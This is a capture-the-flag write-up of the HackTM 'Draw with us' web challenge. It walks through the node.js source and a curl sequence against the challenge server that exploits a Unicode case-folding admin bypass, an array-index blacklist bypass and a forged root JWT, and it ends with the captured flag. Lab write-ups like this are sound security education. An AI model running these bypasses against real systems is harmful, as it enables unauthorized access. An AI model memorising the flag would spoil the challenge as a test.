Challenge description
Come draw with us!
Hint! Changing your color is the first step towards happiness.
Author: stackola
First impression
At first glance we thought it was a black box challenge. Later we found the server side code called app.js. The server side code was written in node.js with express.js framework. After we saw
app.get("/flag", (req, res) => { // Get the flag // Only for root if (req.user.id == 0) { res.send(ok({ flag: flag })); } else { res.send(err("Unauthorized")); } });
we knew we need to somehow get the root credentials.
First lead
We saw that for all API calls you need to be authenticated, except for 3 whitelisted calls:
const config = { ... whitelist: ["/", "/login", "/init"] ... }; app.use( jwt({ secret: jwtSecret }).unless({ path: config.whitelist }) );
in /init
call we noticed something interesting:
app.post("/init", (req, res) => { // Initialize new round and sign admin token // RSA protected! // POST // { // p:"0", // q:"0" // } let { p = "0", q = "0", clearPIN } = req.body; let target = md5(config.n.toString()); let pwHash = md5( bigInt(String(p)) .multiply(String(q)) .toString() ); ... //Sign the admin ID let adminId = pwHash .split("") .map((c, i) => c.charCodeAt(0) ^ target.charCodeAt(i)) .reduce((a, b) => a + b); //END Sign the admin ID console.log(adminId); res.json(ok({ token: sign({ id: adminId }) })); });
p and q are user controlled variables and //Sign the admin ID
paragraph is responsible for XORing the md5 of config.n
and p*q
byte by byte, then summing the resulting array.
If p*q == n
, then adminId
will be 0, because the XOR results in array of 0’s. In other words, we get a correctly signed JWT with id==0 (root)
.
So if we give p=n, q=1
we will achieve our goal. The problem is we don’t know config.n
.
config.n leak
Ok, the goal is clear – leak config.n
, but how?
The serverInfo
API call caught our eyes:
app.get("/serverInfo", (req, res) => { // Get server info // Only for logged in users let user = users[req.user.id] || { rights: [] }; let info = user.rights.map(i => ({ name: i, value: config[i] })); res.json(ok({ info: info })); });
After authentication, the server prints you config
values based on your permissions.
By default, the ‘rights’ array doesn’t includes n
:
let u = { username: req.body.username, id: uuidv4(), color: Math.random() < 0.5 ? 0xffffff : 0x0, rights: ["message","height","width","version","usersOnline","adminUsername","backgroundColor" ] };
Maybe we can somehow add this permission?
Yes! If you are root, you can basically add permissions with updateUser
API call:
app.post("/updateUser", (req, res) => { // Update user color and rights // Only for admin // POST // { // color: 0xDEDBEE, // rights: ["height", "width", "usersOnline"] // } let uid = req.user.id; let user = users[uid]; if (!user || !isAdmin(user)) { res.json(err("You're not an admin!")); return; } let color = parseInt(req.body.color); users[uid].color = (color || 0x0) & 0xffffff; let rights = req.body.rights || []; if (rights.length > 0 && checkRights(rights)) { users[uid].rights = user.rights.concat(rights).filter(onlyUnique); } res.json(ok({ user: users[uid] })); });
But wait, the admin verification looks a bit strange. we would expect that the server will just check if the req.user.id==0
but it calls another function: isAdmin()
. Lets take a closer look:
function isAdmin(u) { return u.username.toLowerCase() == config.adminUsername.toLowerCase(); }
Maybe we can find a weird letter that makes toLowerCase()
return a normal letter? After googling a bit, we found that article . BINGO!
Let see if it works (The K
in hacKtm
is the special letter 0x212a)
curl --data '{"username":"hacKtm"}' -H "Content-Type: application/json; charset=utf-8" -X POST http://167.172.165.153:60001/login
{"status":"ok","data":{"token":"VALID_TOKEN"}}
Now,
curl --data '{"color":"0xFF0000", "rights": ["n"]}' -H "Content-Type: application/json" -H "Authorization: Bearer VALID_TOKEN" -X POST http://167.172.165.153:60001/updateUser
{"status":"ok","data":{"user":{"username":"hacKtm","id":"3842d4dd-31fe-4499-bcc0-b60d7e83e74e","color":16711680,"rights":["message","height","width","version","usersOnline","adminUsername","backgroundColor"}}}
Nice! We bypassed the isAdmin
function! But wait…. our n
permission not included. What happen?
That is what happen:
function checkRights(arr) { let blacklist = ["p", "n", "port"]; for (let i = 0; i < arr.length; i++) { const element = arr[i]; if (blacklist.includes(element)) { return false; } } return true; }
n
is black listed permission. We thought of two ways to get around:
- Bypass this check
if (blacklist.includes(element)) {...}
. - In
serverInfo
API calllet info = user.rights.map(i => ({ name: i, value: config[i] }));
accesses config values without checking the indexi
. We can try to play withi
soconfig[i]==config[n] && i!==n
.
After unsuccessful tries to bypass the blacklist, we came up with the idea that config[["n"]]
will give us what we want. Yes, config[["n"]] == config["n"]
!
conclusion:
LOGIN with admin
{"status":"ok","data":{"token":"VALID_TOKEN"}}
curl --data '{"username":"hacKtm"}' -H "Content-Type: application/json; charset=utf-8" -X POST http://167.172.165.153:60001/login
*Use the token from now on
UPDATEUSER with the “n” right
curl --data '{"color":"0xFF0000", "rights": [["n"]]}' -H "Content-Type: application/json" -H "Authorization: Bearer VALID_TOKEN" -X POST http://167.172.165.153:60001/updateUser
{"status":"ok","data":{"user":{"username":"hacKtm","id":"3842d4dd-31fe-4499-bcc0-b60d7e83e74e","color":16711680,"rights":["message","height","width","version","usersOnline","adminUsername","backgroundColor",["n"]]}}}
SERVERINFO to get ‘n’ value
curl -H "Content-Type: application/json" -H "Authorization: Bearer VALID_TOKEN" http://167.172.165.153:60001/serverInfo
{"status":"ok","data":{"info":[{"name":"message","value":"Hello there!"},{"name":"height","value":80},{"name":"width","value":120},{"name":"version","value":5e-324},{"name":"usersOnline","value":130},{"name":"adminUsername","value":"hacktm"},{"name":"backgroundColor","value":8947848},{"name":["n"],"value":"54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979"}]}}
INIT with p=n, q=1
curl --data '{"p":"54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979", "q":"1"}' -H "Content-Type: application/json" -H "Authorization: Bearer VALID_TOKEN" -X POST http://167.172.165.153:60001/init
{"status":"ok","data":{"token":"VALID_ADMIN_TOKEN"}}
GET FLAG with the token received
curl -H "Content-Type: application/json" -H "Authorization: Bearer VALID_ADMIN_TOKEN" http://167.172.165.153:60001/flag
{"status":"ok","data":{"flag":"HackTM{Draw_m3_like_0ne_of_y0ur_japan3se_girls}"}}